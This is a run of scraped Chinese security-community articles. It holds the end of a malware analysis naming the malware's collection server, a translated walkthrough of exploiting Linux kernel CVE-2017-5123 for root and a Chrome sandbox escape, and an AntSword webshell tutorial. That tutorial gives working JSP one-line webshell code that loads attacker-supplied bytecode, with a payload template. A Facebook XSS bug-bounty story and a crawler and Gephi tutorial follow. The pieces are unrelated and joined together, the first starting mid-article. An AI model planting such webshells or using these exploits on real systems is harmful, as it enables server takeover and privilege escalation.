传入的url拼接上服务器地址http://redvios.com:8085/就是完整的url地址：
http://redvios.com:8085/JYSystem/restInt/collect/postData。
图1-7 连接服务器
使用post方式提交数据。
图1-8 提交数据
## 安全建议
1. 用户安装所需软件，建议去正规的应用市场下载、去官方下载。
2. 在手机当中安装必要的安全软件，并保持安全软件更新。
3. 关注“暗影安全实验室”微信公众号，我们将持续关注安全事件。 | 社区文章 |
原文：<https://salls.github.io/Linux-Kernel-CVE-2017-5123/>
译者：hello1900@知道创宇404实验室
本文介绍如何利用Linux内核漏洞CVE-2017-5123提升权限，突破SEMP、SMAP、Chrome沙箱全方位保护。
#### 背景
在系统调用处理阶段，内核需要具备读取和写入触发系统调用进程内存的能力。为此，内核设有`copy_from_user`与`put_user`等特殊函数，用于将数据复制进出用户区。在较高级别，`put_user`的功能大致如下：
put_user(x, void __user *ptr)
if (access_ok(VERIFY_WRITE, ptr, sizeof(*ptr)))
return -EFAULT
user_access_begin()
*ptr = x
user_access_end()
`access_ok()`
调用检查ptr是否位于用户区而非内核内存。如果检查通过，`user_access_begin()`调用禁用SMAP，允许内核访问用户区。内核写入内存后重新启用[SMAP](https://en.wikipedia.org/wiki/Supervisor_Mode_Access_Prevention
"SMAP")。需要注意的一点是：这些用户访问函数在内存读写过程中处理页面错误，在访问未映射内存时不会导致崩溃。
#### 漏洞
某些系统调用要求多次调用`put/get_user`以实现内核与用户区之间的数据复制。为避免重复检查和SMAP启用/禁用的额外开销，内核开发人员将缺少必要检查的不安全版本`_put_user`与`unsafe_put_user`涵盖进来。这样一来，忘记额外检查就在意料之中了。CVE-2017-5123就是一个很好的例子。在内核版本4.13中，为了能够正常使用`unsafe_put_user`，专门对`waitid`
syscall进行了更新，但`access_ok`检查仍处于缺失状态。漏洞代码如下所示。
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;
if (err > 0) {
signo = SIGCHLD;
err = 0;
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault); <- no access_ok call
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
return err;
Efault:
user_access_end();
return -EFAULT;
}
#### 原语
缺少`access_ok`检查意味着允许提供内核地址并将其作为waitid
syscall的`infop`参数。syscall将使用`unsafe_put_user`覆盖内核地址，因为此项操作可以逃避检查。该原语的棘手部分在于无法对写入内容（6个不同字段中的任何1个）施与足够控制。`info.status`
是32位int，但被限制为0 < status < 256。`info.pid`可在某种程度上通过重复fork操作进行控制，但最大值为0x8000。
以下是漏洞利用阶段将引用到的写入字段概况。
struct siginfo {
int si_signo;
int si_errno;
int si_code;
int padding; // this remains unchanged by waitid
int pid; // process id
int uid; // user id
int status; // return code
}
#### 谷歌Chrome沙箱
该漏洞的特色在于可从Chrome浏览器沙箱内部实现提权。首先介绍Chrome沙箱概况与工作原理。
谷歌Chrome采用沙箱保护浏览器，即便成功利用漏洞实现代码执行也无法touch系统其它部分。沙箱分两层：第一层通过改变user
id与chroot限制资源访问；第二层尝试通过seccomp
filter限制内核攻击面，阻止沙箱进程中不必要的系统调用。通常情况下，Chrome沙箱行之有效，因为Linux内核漏洞多位于syscall，由seccomp沙箱拦截。
然而，waitid syscall在seccomp沙箱中普遍存在，当然也包括Chrome沙箱（[chrome seccomp
source](https://chromium.googlesource.com/chromium/src.git/+/master/sandbox/linux/seccomp-bpf-helpers/ "chrome seccomp source")）。也就是说，可以通过攻击内核实现Chrome沙箱逃逸！
沙箱的局限性在于不允许使用fork，只能创建新线程而非进程。如果无法进行fork操作，waitid就会无法发挥作用，只能将0写入内核内存。
#### 喘口气，进行 infoleak
所有困难都是暂时的，但无论采取哪种方式，都需要先获取内核基地址。
`unsafe_put_user`的一个优秀属性是在访问无效内存地址时不会崩溃，仅返回`-EFAULT`。因此，我们仅需猜测内核数据段潜在地址，直至显示不同错误代码、找到内核地址。有了内核地址就可以攻破KASLR了，
但注意不要覆盖任何重要信息 :)
我们可以用相同做法查找内核堆栈地址或内核内存其他区域。
#### SMAP绕过存在的局限性
现在，我想看看是否可以利用该漏洞突破所有防线。 结果发现目前能做的事情相当有限：
* 只能写0；
* 写24个字节的0，破坏附近内存；
* 少量信息渗出，包括内核基地址与堆栈位置，但不包括堆栈目标位置。
辗转思考多种漏洞利用方法后确定了几个方向：
* 在内核数据段找到一个对象，其索引/大小/值为零将导致超出内存访问边界；
* 在内核中覆盖一个自旋锁，用来创建竞争条件；
* 尝试覆盖内核堆栈上的基址指针或其他值；
* 触发可能导致在内核堆栈上创建有用结构的操作，看看是否可以用任意写入的0命中对象。
我最终选取了第四个策略，进行堆喷射。
#### 堆喷射
`task_struct`（[代表每个进程和线程的结构](http://elixir.free-electrons.com/linux/v4.13.11/source/include/linux/sched.h#L519
"代表每个进程和线程的结构")）开始部分是一些flag，其中一个flag标记是否采用seccomp过滤器。如果能够用task_structs进行堆喷射，并且只覆盖那些起始flag，则可从其中一个进程移除seccomp，从而获取更多可能。
考虑到Linux内核堆栈并非自身擅长领域，先喷射10000个线程，然后使用调试器检查任务结构在堆栈中的位置。我注意到，喷射对象达到一定数量后，大部分任务结构将在堆栈较低地址处结束。这似乎意味着随着空闲槽被用完，堆栈将向下扩展。
接下来的计划是：
* 创建10000个线程；
* 从堆栈最低地址起继续猜测任务结构潜在地址；
* 让10000个线程继续自检是否仍位于seccomp沙箱；
* 当发现某个线程不再受seccomp影响时停止。
结果竟然奏效了！这种做法虽不可靠，但作为PoC已经足够。我认为增大喷射力度能够提升可靠程度。如果先喷洒其他对象填充，再创建10000个线程释放，可以更加确定目标任务结构将位于堆栈底部。截至目前，我电脑上的运行结果已达到50%成功率，其余半数则以内核崩溃告终。
#### 获得更佳“任意”写入效果
现在，我们面临一项seccomp沙箱外围任务，目前已从上一步获知`task_struct`地址，仍需弄清如何利用内核漏洞升级到root权限并移除chroot。
好在原语已得到优化，可以使用fork()
来创建子对象，然后使`waitid`写入非零值。尽管如此，我们仍无法控制多数`siginfo`结构。唯一可用值是`pid`和`status`，两者都存在一定限制。
`pid`最大值是0x8000，状态是单字节。
但是，由于pid紧挨着一些未使用的填充（如前文所述），可以执行5次写入，每次都移回一个字节，构造一个任意写入的5字节。
#### 5字节写入+ Physmap
5字节写入的使用方法并非显而易见，暂时仍无法创建任意地址。然而，我们可以创建外观类似
`0x**********000000`的地址，其中`*`可以是任意值。
在此，我从ret2dir获取灵感。有一段名为[physmap](https://www.blackhat.com/docs/eu-14/materials/eu-14-Kemerlis-Ret2dir-Deconstructing-Kernel-Isolation.pdf
"physmap")的内核内存，其中内核保留一个映射到与用户区内存具有相同物理内存的“alias”（虚拟地址）。因此，在用户区创建一个填充0x41的页面后，内核中确实存在一个可以找到与该页面完全相同的网页地址。
我的策略是在用户区分配大量内存，然后尝试随机覆盖内核physmap中的页面，同时检查用户区页面是否已经改变。如果发现变化，则说明我们已经找到了一个与用户区地址相对应的内核虚拟地址，可以写入用户区并在内核内存中创建有效payload。我仅对内核physmap中以6个0结尾的页面进行了尝试，一旦找到“alias”，就可以构造一个指向内核地址的指针。
这部分内容非常可靠，但在罕见情况下也可以崩溃一个随机过程。
#### 真正的任意读/写和Root操作！
现在我覆盖task_struct中的`files`指针，使其指向内核中的“alias”，在用户区构造一个伪造的`files_struct`对象，该对象也将位于`alias`.`file`对象，好处在于它们包含函数指针，即用来控制使用函数（如`read`，`lseek`，`ioctl`）的参数。通过将`ioctl`指向内核中的各种ROP小工具可以创建一个任意读写原语。于是，我修复了task_struct的clobbered部分，将creds结构改为root。最后，通过重置当前的fs移除chroot。现在我们已经完全实现沙箱逃逸，能够以root身份弹出一个计算器了！
完整漏洞参见<https://github.com/salls/kernel-exploits/blob/master/CVE-2017-5123/exploit_smap_bypass.c>
最后，感谢Chrome/Chromium安全团队对我的漏洞报告给予快速响应！
* * * | 社区文章 |
## 前言
本人有意写一份系列文章，主要内容是分享蚁剑改造过程中的一些技巧与经验。
因为蚁剑的相关文档实在比较少，可能很多同学都像自己当初一样想要二次开发可是不知如何下手。
不敢贸然称之为教程，只是把改造的过程发出来供大家借鉴，希望其他同学能够少走弯路。
* [蚁剑改造计划之实现动态秘钥编码器解码器](https://xz.aliyun.com/t/6571)
* [蚁剑改造计划之基于随机Cookie的动态秘钥编码器](https://xz.aliyun.com/t/6917)
* [蚁剑改造计划之增加垃圾数据](https://xz.aliyun.com/t/7126)
* [蚁剑改造计划之实现其他参数的随机化](https://yzddmr6.tk/posts/antsword-diy-2/)
## 正文
### 基本原理
由于Java中没有所谓的eval函数，无法对直接传递的代码进行解析执行。所以不管是蚁剑还是菜刀对于JSP的shell一直是采用custom模式，即把要执行的代码提前写在shell中，然后每次只需要传递要调用的函数名以及对应的参数即可。
虽然可以实现相应的功能，但是带来一个问题就是shell体积非常巨大。菜刀的jsp脚本有7kb大小，蚁剑的jsp
custom脚本即使去掉注释后还有17k之多，用起来非常的不方便。
冰蝎的作者rebeyond大佬在文章 [利用动态二进制加密实现新型一句话木马之Java篇](https://xz.aliyun.com/t/2744)
中提出了一种新的jsp一句话的实现方式：利用classloader直接解析编译后的class字节码，相当于实现了一个java的eval功能。
反复阅读rebeyond大佬的文章，不得不感叹思路的巧妙。
自己以前通过类反射+动态加载字节码的方式实现了一个命令执行后门，但是是在shell中获取的输入输出。参数个数也不可控，只能一股脑按最大数传进去，还会有类反射的特征。
然而冰蝎是直接重写了Object类的equals方法，并且把pageContext传了进去。熟悉jsp的同学都知道，通过pageContext就可以控制几乎所有的页面对象，也就可以在payload中动态控制输入输出。
冰蝎的方法既没有类反射之类的特征，又便于控制输入输出，实在是妙。
但是冰蝎很久没更新了，并且暂时没有开源，有些小BUG修改起来非常麻烦。我就想能否把这个功能给移植到蚁剑上。
冰蝎的操作是直接用asm框架来修改提前写好的字节码文件，把要传入的参数直接编译进去。由于冰蝎自身就是java写的，所以动态产生字节码具有天生的优势。但是蚁剑的后端是nodejs，这怎么办呢？
### 思路的选择
大概有以下三种思路：
（1）用nodejs来修改java字节码。
（2）写一个专门用来生成payload的jar包，每次执行前调用此jar包，把需要编译的参数通过命令行传入，然后获取回显。
（3）在蚁剑中硬编码payload，然后通过getParameter把参数传进去。
三种方式各有利弊，第一个想法最简单，但是难度大。超出了本人菜鸟教程上学来的java跟node水平。
自己本来是想采用第二个思路，跟yan表哥交流后放弃。就不说用exec调用会不会产生命令注入这种东西，采用第二种方式需要修改蚁剑原有的模式框架，并且还需要配置java环境。而蚁剑从设计之初就是想着能尽量减少对环境的需求。尽管从2.0系列推出加载器后不再需要node环境就可以运行蚁剑，但是目前还是有一堆人连安装蚁剑都有困难。
所以在本文中实现的是第三种思路， **硬编码payload+其他参数传参** 。
首先根据现成的custom脚本来编写payload，然后把custom的模板给复制一份，把传递的函数名替换成payload即可。
采用这种模式的话就跟其他shell发送payload的模式相同，不需要对蚁剑原有的框架进行大改。只不过其他类型传递的是可见的代码，jsp传递的是编译后的字节码。
### 具体实现
#### 编译环境的选择
首先是编译环境的问题。要知道java是向下兼容的，也就是说jdk1.6编译出来的字节码在1.8上可以运行，但是1.8的字节码在1.6上就不一定跑得起来。所以在实现的时候采用了jdk1.6编译，依赖的jar包也采用了跟冰蝎相同的tomcat7的jar。
编译命令
javac -cp "D:/xxxx/lib/servlet-api.jar;D:/xxx/lib/jsp-api.jar" Test.java
保存编译后的class字节码
base64 -w 0 Test.class > Test.txt
#### 乱码问题的解决
然后是让人头秃的乱码问题。
众所周知windows采用的是GBK，不是UTF-8。本来想学习一下蚁剑custom脚本中是如何实现的，结果发现了一个存在了四年的编码逻辑错误。
在php版的custom中对于编码是这样处理的：
其中EC是识别charset的，也就是分辨UTF8还是GBK，然后用mb_convert_encoding函数转换到指定的编码中。
decode函数是对字符串进行解码，比如说base64、hex这种。
但是难道不应该先base64解码之后再判断charset吗，直接对base64的内容进行charset判断肯定是有问题的。
调试了一下果然会乱码，然后报找不到路径的错误。
解决方法就是把两个函数换换位置就好了。
换了之后就可以正常进入中文路径了。因为在vscode中设置变量以UTF8显示，所以此时左边GBK编码的路径会显示乱码，但是函数中是可以正常识别的。
把jsp的custom脚本中函数换了位置后，中文文件可以正常显示，但是进入中文路径的时候还是会报空指针错误。
突然想起来自己以前提的一个issue
[jsp的bug](https://github.com/AntSwordProject/antSword/issues/143)，其实也是路径中出现了中文的问题，不过当时没有细究就略过了。
经过调试后发现只要把hex跟base64解码后，强制使用UTF8编码就可以正常进入中文路径。
原因为什么呢？
因为base64对GBK类型的中文和跟UTF8类型的中文编码结果是不一样的，然而抓包发现蚁剑在custom模式下，不管用户选择的编码是什么都是对UTF8编码的中文进行base64处理。
但是经过测试php类型会正常的根据用户的字符类型来base64编码。
emmmm，玄学问题。
最简单的解决方法就是直接在payload中base64解码的时候强制使用UTF-8解码。
#### 模板设计
Shell模板
<%@ page import="sun.misc.BASE64Decoder" %>
<%!
class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
BASE64Decoder decoder=new sun.misc.BASE64Decoder();
%>
<%
String cls=request.getParameter("ant");
if(cls!=null){
new U(this.getClass().getClassLoader()).g(decoder.decodeBuffer(cls)).newInstance().equals(pageContext);
}
%>
压缩一下后只有316个字节，由于去掉了解密功能，所以比冰蝎还小。
<%!class U extends ClassLoader{ U(ClassLoader c){ super(c); }public Class g(byte []b){ return super.defineClass(b,0,b.length); }}%><% String cls=request.getParameter("ant");if(cls!=null){ new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext); }%>
Payload模板
其中`encoder`为编码方式，默认为空，可选hex或者base64。`charset`为字符编码，默认UTF-8。蚁剑将会根据用户的选择自动发送。
**注意：特别不建议选用默认编码器，遇到中文路径会错误，我也不知道为什么。**
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.jsp.PageContext;
import java.io.ByteArrayOutputStream;
public class Demo {
public String encoder;
public String cs;
@Override
public boolean equals(Object obj) {
PageContext page = (PageContext)obj;
ServletRequest request = page.getRequest();
ServletResponse response = page.getResponse();
encoder = request.getParameter("encoder")!=null?request.getParameter("encoder"):"";
cs=request.getParameter("charset")!=null?request.getParameter("charset"):"UTF-8";
StringBuffer output = new StringBuffer("");
StringBuffer sb = new StringBuffer("");
try {
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
String var0 = EC(decode(request.getParameter("var0")+""));
String var1 = EC(decode(request.getParameter("var1")+""));
String var2 = EC(decode(request.getParameter("var2")+""));
String var3 = EC(decode(request.getParameter("var3")+""));
output.append("->" + "|");
sb.append(func(var1));
output.append(sb.toString());
output.append("|" + "<-");
page.getOut().print(output.toString());
} catch (Exception e) {
sb.append("ERROR" + ":// " + e.toString());
}
return true;
}
String EC(String s) throws Exception {
if(encoder.equals("hex")) return s;
return new String(s.getBytes(), cs);
}
String decode(String str) throws Exception{
if(encoder.equals("hex")){
if(str=="null"||str.equals("null")){
return "";
}
String hexString = "0123456789ABCDEF";
str = str.toUpperCase();
ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length()/2);
String ss = "";
for (int i = 0; i < str.length(); i += 2){
ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ",";
baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))));
}
return baos.toString("UTF-8");
}else if(encoder.equals("base64")){
byte[] bt = null;
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
return new String(bt,"UTF-8");
}
return str;
}
String func (String var1){
// Your code
}
}
举个栗子，写一个返回hello+名字的函数
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.jsp.PageContext;
import java.io.ByteArrayOutputStream;
public class Test {
public String encoder;
public String cs;
@Override
public boolean equals(Object obj) {
PageContext page = (PageContext)obj;
ServletRequest request = page.getRequest();
ServletResponse response = page.getResponse();
encoder = request.getParameter("encoder")!=null?request.getParameter("encoder"):"";
cs=request.getParameter("charset")!=null?request.getParameter("charset"):"UTF-8";
StringBuffer output = new StringBuffer("");
StringBuffer sb = new StringBuffer("");
try {
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
String var0 = EC(decode(request.getParameter("var0")+""));
output.append("->" + "|");
sb.append(test(var0));
output.append(sb.toString());
output.append("|" + "<-");
page.getOut().print(output.toString());
} catch (Exception e) {
sb.append("ERROR" + ":// " + e.toString());
}
return true;
}
String EC(String s) throws Exception {
if(encoder.equals("hex")) return s;
return new String(s.getBytes(), cs);
}
String decode(String str) throws Exception{
if(encoder.equals("hex")){
if(str=="null"||str.equals("null")){
return "";
}
String hexString = "0123456789ABCDEF";
str = str.toUpperCase();
ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length()/2);
String ss = "";
for (int i = 0; i < str.length(); i += 2){
ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ",";
baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))));
}
return baos.toString("UTF-8");
}else if(encoder.equals("base64")){
byte[] bt = null;
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
return new String(bt,"UTF-8");
}
return str;
}
String test(String var0){
return "Hello" + var0;
}
}
将其编译成class文件，base64后输出到Test.txt中
再发送payload，其中var0是我们要传入的参数。可以看到屏幕上打印出了`Hello yzddmr6`
默认是明文传递，想要进行base64编码的话将`encoder=base64`加在请求中即可。
如果是手工发送的话要注意：
**一定要URL编码！！！**
**一定要URL编码！！！**
**一定要URL编码！！！**
当初忘了给Payload URL编码，一直各种花式报错，卡在这里一天。。。最后在rebeyond大佬提醒下才反应过来。。。我真是个弟弟
#### 蚁剑客户端修改
在`\source\app.entry.js` `\source\core\index.js`
`\source\modules\settings\encoders.js`里增加jsp类型
在`\source\modules\shellmanager\list\form.js`增加对jsp后缀shell类型的识别
在base64编码器模板里增加发送的接口，虽然没有实现decoder，但是还是留个接口吧。
然后就是用编译后的payload替换原来的函数名
#### 实现效果
本地每个功能都测试过，也完美支持中文。用起来跟其他类型的shell没有什么区别，四舍五入那就等于没BUG吧~
## 最后
有同学可能会问为什么不写回显信息编码函数呢？
因为在目前方式下特征太明显了，根本不需要根据回显信息就可以识别。写了后还会导致payload很长，并且还会增加一个`decoder=xxx`的特征，所以就没加。同时传递的`encoder=xxx`也没有编码，不管怎么编码都是WAF加一条规则的事情。
目前只是处在能用的阶段，无法做到随机变量名等操作，存在很多的硬性特征。在找到有效的解决方法前，本功能可能并不会合并到蚁剑主体中。
因为payload实在是太多了，所以我就单独开了一个项目来存放源码：[JspForAntSword](https://github.com/yzddmr6/JspForAntSword)
如果有什么好的建议欢迎提pr
修改后的蚁剑(2.1.x分支)：
<https://github.com/yzddmr6/antSword/tree/v2.1.x>
感谢@rebeyond大佬的提醒，同时也感谢@Medici.yan表哥这几天一直跟我交流那么多。
深刻的体会到独学则无友。如果有什么写的不对的地方希望师傅们提出，希望大佬们能多带带弟弟QAQ。 | 社区文章 |
原文：https://medium.com/@win3zz/simple-story-of-some-complicated-xss-on-facebook-8a9c0d80969d
# 前言
这篇文章讲述了在facebook上挖掘一些反射型XSS漏洞的心路历程。在上一篇文章中提到；MicroStrategy Web
SDK托管在Facebook的生产服务器上,利用文件上传功能，可以将web shell上传至服务器。
# 具体细节
通过枚举预先构建的任务，我发现 **uploadFile** 任务已注册并且可以访问。
MicroStrategy网站上提供的关于uploadFile的参考文档不多。纸上得来终觉浅，绝知此事要躬行。因此，我决定从它的源代码入手，分析uploadFile功能。
我使用jd-gui工具反编译了SDK的每个JAR文件，在 **WebTasks.jar** 文件下有一个类 **“com.microStrategy
y.web.tasks.UploadFileTask”** 。
这个类支持文件上传及其处理功能。首先，检查fileFieldName
URL参数，该参数应与实际文件名(要上传的文件名)匹配。然后，检查文件扩展名，对于Excel文件(xlsx和xls)，调用函数
**parseUploadedExcelFile** 进行处理，对于其他文件，调用 **parseUploadedFile** 函数处理该文件。
parseUploadedExcelFile函数首先检查有效session，因此上传excel文件不太现实，但是parseUploadedFile函数没有检查有效session。
parseUploadedFile实际上并没有将上传的文件存储在服务器上，而是使用ploadFile任务来处理来自HTML表单的上传文件，并将文件内容返回给客户端。因此我们也无法上传web
shell。
我发现UploadFileTask类处理上传文件的数据，并在没有输出编码的情况下进行渲染。这导致在m-nexus.thefacebook.com上下文中执行任意JavaScript代码。
反射型XSS被我逮到了，但如何进行下一步利用？
我创建了一个网页来利用这个XSS。
不幸的是，我无法控制该文件的内容，所以我不能有效地进行XSS利用。
经过一阵研究，我确认基于表单的文件上传不允许攻击者指定文件内容。
# 真正的挑战
经过多次试验，我编写了一段简单的HTML+JavaScript代码，我可以通过POST表单发送文件，并触发XSS。
接下来就是在服务器上托管这个文件，并将其链接发送给受害者，当受害者点击链接时，将弹出带有域名的XSS窗口。
在burp中可以看到HTTP响应
通过这个XSS，黑客可以在客户端计算机上执行脚本，从而收集有关系统的信息并发送给恶意第三方。
XSS攻击会产生潜在的严重后果。攻击者可以通过操作应用程序DOM欺骗用户触发XSS。facebook方面非常重视我的这个漏洞报告，并给了我一份很不错的奖励。
# 下一个故事
这个故事与之前的帖子中讨论的blind SSRF漏洞有关。
我通过枚举找到了一个wikiScrapper任务。它有一个searchString参数，该参数接受关键字并从Wikipedia抓取数据。
我发现，如果我们提供一个以`http：//`或`https://`，开头的字符串，那么它将从该网站提取数据。渲染Web内容时没有对数据进行编码，这说明searchString参数容易受到反射型XSS的攻击。
要抓取域上托管的任何网页，有两个条件必须要满足。第一个条件是该网页是一个包含所有必需标记(如HTML、Body和H1)的HTML页面。其次，网页必须包含一个表，并且表标记必须至少包含一个
**wikitable** 类。
要利用这个漏洞，我要做的就是托管一个满足上述所有条件的特殊网页，然后将其链接传递给searchString参数。我快速编写了一个HTML代码(具有XSS
payload)并将其托管在[HTML Pasta](https://htmlpasta.com/ "HTML Pasta")上(允许免费匿名托管HTML)
现在，在浏览器中打开这个精心构造的链接，弹出带有域名的XSS。
# 结论
报告完这些漏洞后，我又收到了五位数的赏金，所有问题现已修复。现在已经不能公开访问m-nexus.thefacebook.com域。
上一篇文章：https://medium.com/@win3zz/how-i-made-31500-by-submitting-a-bug-to-facebook-d31bb046e204 | 社区文章 |
最近工作中一直在研究数据分析，试图在传统安全上做一些新的尝试，分析过程中用到了Gephi，此工具号称为“数据可视化领域的
Photoshop”，研究之余，突然想到以前写的一个用于爬取友情链接的小工具，然后发现爬取的数据信息正好可以用来练习使用Gephi，于是花了一点时间准备对友情链接进行数据可视化。
一、爬虫
想要分析数据，首先我们得有获取数据的方法，爬虫便可以很方便的获取我们想要的数据。
需求分析：
我们需要分析的数据为友情链接之间的引用关系，那么需求很明确了，我们可以将某一博客作为爬取起点，然后进行递归爬取。
我的递归思路如下图：
爬虫采用广度优先策略，进行递归爬取，递归停止条件可设置为链接数量已经达到一定数量或者人工查看数据是否已经偏离设定的“圈子”，在此例中，圈子设定为安全圈子，也就是说当数据中出现大量非安全圈内的博客，说明爬虫就可以停止递归了
核心代码参考：
package spider;
import org.javaweb.core.net.HttpRequest;
import org.javaweb.core.net.HttpResponse;
import utils.MysqlConnection;
import java.net.URL;
import java.util.*;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
* Created by jeary on 2017/8/16.
*/
public class DomainsSpider {
/**
* 函数主入口
* @param args
*/
public static void main(String[] args) {
Map<String[], Boolean> urls = new HashMap<String[], Boolean>();
urls.put(new String[]{"http://jeary.org", "Jeary"}, false);
crawllLinks(urls);
}
/**
* 递归爬行链接
* @param urlMap
*/
public static void crawllLinks(Map<String[], Boolean> urlMap) {
Map<String[], Boolean> urls = new HashMap<String[], Boolean>();
String urlString = "";
String name = "";
for (Map.Entry<String[], Boolean> url : urlMap.entrySet()) {
urlString = url.getKey()[0];
name = url.getKey()[1];
System.out.println(urlString+"\t"+name);
int siteid = findID(urlString);
if(siteid == 0){
add(new Object[]{name,urlString});
siteid = findID(urlString);
}
System.out.println("新的父节点ID："+siteid+"\t");
String body = getHtml(urlString);
if (body != null && !body.isEmpty()) {
Map<String, String> links = getLinks(body, urlString);
for (Map.Entry<String, String> linkMap : links.entrySet()) {
String link = linkMap.getKey();
String title = linkMap.getValue();
urls.put(new String[]{link,title},false);
System.out.println("\t"+link+"\t"+title);
int ref_id = findID(link);
if(ref_id == 0){
add(new Object[]{title,link});
ref_id = findID(link);
}
System.out.println("发现新关系，准备入库："+siteid+" -- "+ref_id);
add_ref(new Object[]{siteid,ref_id});
}
System.out.println("");
}
}
crawllLinks(urls);
}
/**
* 发起GET请求获取响应
* @param url
* @return
*/
public static String getHtml(String url) {
String body = "";
try {
HttpRequest request = new HttpRequest();
request.url(url);
request.followRedirects(true);
request.userAgent("Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) " +
"Chrome/47.0.2526.73 Safari/537.36");
HttpResponse response = request.get();
body = response.body();
} catch (Exception e) {
e.printStackTrace();
}
return body;
}
/**
* 从响应内容中提取友情链接
*
* @param body
* @param excuDomain
* @return
*/
public static Map<String, String> getLinks(String body, String excuDomain) {
Map<String, String> links = new HashMap<String, String>();
String regexp = "<a[^>]*href=(\"([^\"]*)\"|\'([^\']*)\'|([^\\s>]*))[^>]*>(.*?)</a>";
try {
if (body != null && !body.isEmpty()) {
Pattern pattern = Pattern.compile(regexp);
Matcher matcher = pattern.matcher(body);
while (matcher.find()) {
String link = matcher.group(2);
String title = matcher.group(5);
if (title.matches("<.*>.*")) {
title = title.replaceAll("<.*?>", "");
}
if (link != null) {
if (link.indexOf(excuDomain) < 0 && link.startsWith("http")) {
URL url = new URL(link);
link = url.getProtocol() + "://" + url.getHost();
boolean isBlack = excuDomainList(link);
if (isBlack == false) {
links.put(link, title);
}
}
}
}
}
} catch (Exception e) {
System.out.println("异常匹配：" + excuDomain + "\r\n" + body);
}
return links;
}
/**
* 添加新链接
* @param domains
*/
public static void add(Object[] domains) {
try {
String sql = "insert into sites(name,domain) value (?,?)";
MysqlConnection mysqlConnection = new MysqlConnection();
mysqlConnection.execUpdate(sql, domains);
} catch (Exception e) {
System.out.println("插入链接数据异常，异常信息："+e.getLocalizedMessage());
}
}
/**
* 添加新关系
* @param rel
*/
public static void add_ref(Object[] rel) {
try {
String sql = "insert into rel_sites(site_id,rel_site_id) value (?,?)";
MysqlConnection mysqlConnection = new MysqlConnection();
mysqlConnection.execUpdate(sql,rel);
} catch (Exception e) {
System.out.println("插入关系数据异常，异常信息:"+e.getLocalizedMessage());
}
}
/**
* 请求前查询请求链接ID，
*
* @param domain
* @return
*/
public static int findID(String domain) {
int id = 0;
String sql = "select id from sites where domain = ?;";
if(domain.startsWith("http://www.")){
domain = domain.replaceAll("http\\:\\/\\/www\\.","http://");
sql = "select id from sites where domain like ?";
}
MysqlConnection mysqlConnection = new MysqlConnection();
List<Object> list = mysqlConnection.execGetList(sql, new Object[]{domain});
if (list != null && list.size() > 0) {
id = Integer.parseInt(list.get(0).toString());
}
return id;
}
/**
* 过滤掉政府、Git、Apple网站、Google、本地IP等等
*
* @param domain
* @return
*/
public static boolean excuDomainList(String domain) {
String[] black = {".gov.cn", "github.com", ".apple.com", "weibo.com", ".google.com", ".csdn.net", "" +
".admin5.com", ".51.la", ".docker.com", "127.0.0.1", ".emlog.net", ".facebook.com", ".qq.com", "" +
".dockerone.com",
".mongodb.com", ".kindsoft.net", "twitter.com", ".gitlab.com", ".twitter.com", "youtube.com"};
for (int i = 0; i < black.length; i++) {
String blackDomain = black[i];
if (domain.lastIndexOf(blackDomain) > 0) {
return true;
}
}
return false;
}
}
在爬取的过程中，我们不仅需要获取友链、链接名字，我们还需要对应的关系数据，因为实在爬取的过程中获取关系数据，所以这个地方有点绕，但是想通了还是挺简单的。
首先我们建立两张表用来存储链接数据和关系数据，分别为为sites表和ref_sites表
sites表如下：
ref_sites表：
sites表比较简单，这里不做累述。
ref_sites表为链接之间的关系表
id 自增长ID
site_id 站点ID
ref_site_id 友链站点ID
上图中，我的网站ID为1,chmodx的ID为2
由于我友链了chmodx,那么数据中的关系就表示为
id site_id ref_site_id
1 1 2
二、处理数据格式
由于时间关系，我并没有爬太多的链接，直接停止了程序，开始整理数据为Gephi支持的数据格式
在使用Gephi之前，我们需要了解两个简单的概念，nodes和edges，nodes为节点，每一行数据都为一个nodes，我们称之为“点”，点通常为一个独立的个体数据，edges则是用于描述点与点之间的关系，我们称之为“边”，通常表示为
“源” -> "目标"，当我们拥有这些信息之后，处理成Gephi支持的格式，然后就可以导入进工具进行分析了
nodes处理之后为下图：
edges处理后为：
其中Type下的Directed表示“Source”和“Target”的关系为又向的，如描述无向关系，则填写为“undirected”,其中weight表示边宽，数值越大边的宽度越大
当准备好以上数据之后，我们就可以直接导入进工具了
三、导入数据进Gephi
打开Gephi后，我们新建一个工程，然后按照如下顺序进行导入点数据和边数据
PS：记得点和边要分别导入，并且不要选错了文件弄混了点与边文件~
数据导入完成后，我们切换到“图”窗口，应该能看到如下视图：
然后选择一个布局算法，如：ForceAtlas2
